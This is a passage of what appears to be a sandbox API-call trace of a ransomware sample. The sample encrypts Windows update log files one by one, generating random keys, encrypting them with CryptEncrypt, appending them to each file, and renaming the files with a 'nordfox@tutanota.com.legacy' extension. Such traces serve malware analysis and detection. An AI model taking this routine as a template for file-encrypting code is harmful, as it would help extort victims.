lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.002.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.002.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.720] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.720] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0116.720] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0116.720] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567418 [0116.720] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c55b0 [0116.720] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0116.720] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0116.720] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0116.720] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl", dwFileAttributes=0x80) returned 1 [0116.721] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567aa8 [0116.721] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0116.721] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567aa8 | out: hHeap=0x520000) returned 1 [0116.721] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.722] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0116.722] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0116.722] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0116.722] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.733] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.733] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.733] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.733] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0116.733] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0116.734] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.734] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.734] WriteFile (in: hFile=0x694, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.734] WriteFile (in: hFile=0x694, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.734] CloseHandle (hObject=0x694) returned 1 [0116.735] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c55b0 | out: hHeap=0x520000) returned 1 [0116.735] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0116.735] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateUx.001.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updateux.001.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.736] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0116.736] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0116.736] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0116.736] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x60d040 [0116.737] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0116.737] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0116.737] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0116.737] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0116.737] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl", dwFileAttributes=0x80) returned 1 [0116.737] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x60d500 [0116.737] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.737] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d500 | out: hHeap=0x520000) returned 1 [0116.737] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.028.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.738] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0116.738] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0116.738] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0116.738] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.739] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.739] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.739] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.740] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0116.740] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0116.740] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.740] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.740] WriteFile (in: hFile=0x694, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.740] WriteFile (in: hFile=0x694, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.741] CloseHandle (hObject=0x694) returned 1 [0116.741] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0116.741] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0116.741] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.028.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.028.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.743] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.743] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d040 | out: hHeap=0x520000) returned 1 [0116.743] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d890 | out: hHeap=0x520000) returned 1 [0116.743] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x60d760 [0116.743] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0116.743] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0116.743] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0116.743] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0116.743] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl", dwFileAttributes=0x80) returned 1 [0116.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x60d040 [0116.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.744] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d040 | out: hHeap=0x520000) returned 1 [0116.744] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.744] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0116.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0116.744] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0116.744] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.746] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.746] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.746] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.746] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0116.746] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0116.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.746] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.747] WriteFile (in: hFile=0x694, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.747] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.747] CloseHandle (hObject=0x694) returned 1 [0116.747] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0116.747] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0116.747] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.027.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d760 | out: hHeap=0x520000) returned 1 [0116.749] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60d170 | out: hHeap=0x520000) returned 1 [0116.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x60c628 [0116.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0116.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0116.749] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0116.750] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0116.750] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl", dwFileAttributes=0x80) returned 1 [0116.751] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x60bfa0 [0116.751] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.751] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60bfa0 | out: hHeap=0x520000) returned 1 [0116.751] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.751] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16384) returned 1 [0116.751] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4000) returned 0x60dbe8 [0116.751] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4000) returned 0x611bf0 [0116.751] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0116.753] SetFilePointer (in: hFile=0x694, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.753] WriteFile (in: hFile=0x694, lpBuffer=0x611bf0*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x611bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0116.753] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0116.753] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x611bf0 | out: hHeap=0x520000) returned 1 [0116.753] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0116.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.754] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.754] WriteFile (in: hFile=0x694, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.754] WriteFile (in: hFile=0x694, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.754] CloseHandle (hObject=0x694) returned 1 [0116.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0116.755] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0116.755] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.026.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.026.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.756] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c628 | out: hHeap=0x520000) returned 1 [0116.756] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0116.757] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0116.757] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl", dwFileAttributes=0x80) returned 1 [0116.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x60cf10 [0116.757] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.757] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.758] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16384) returned 1 [0116.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4000) returned 0x60dbe8 [0116.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4000) returned 0x611bf0 [0116.758] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0116.759] SetFilePointer (in: hFile=0x694, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.760] WriteFile (in: hFile=0x694, lpBuffer=0x611bf0*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x611bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0116.760] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0116.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0116.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0116.760] WriteFile (in: hFile=0x694, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0116.761] WriteFile (in: hFile=0x694, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0116.761] CloseHandle (hObject=0x694) returned 1 [0116.761] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.025.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.025.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0116.762] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e71f8 | out: hHeap=0x520000) returned 1 [0116.763] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7160 | out: hHeap=0x520000) returned 1 [0116.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7160 [0116.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0116.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0116.763] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0116.763] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3418 | out: pbBuffer=0x5c3418) returned 1 [0116.763] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl", dwFileAttributes=0x80) returned 1 [0116.763] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e71f8 [0116.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0116.764] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e71f8 | out: hHeap=0x520000) returned 1 [0116.764] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.024.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.024.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0116.764] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0116.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0116.764] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0116.764] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.770] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0116.770] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0116.770] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 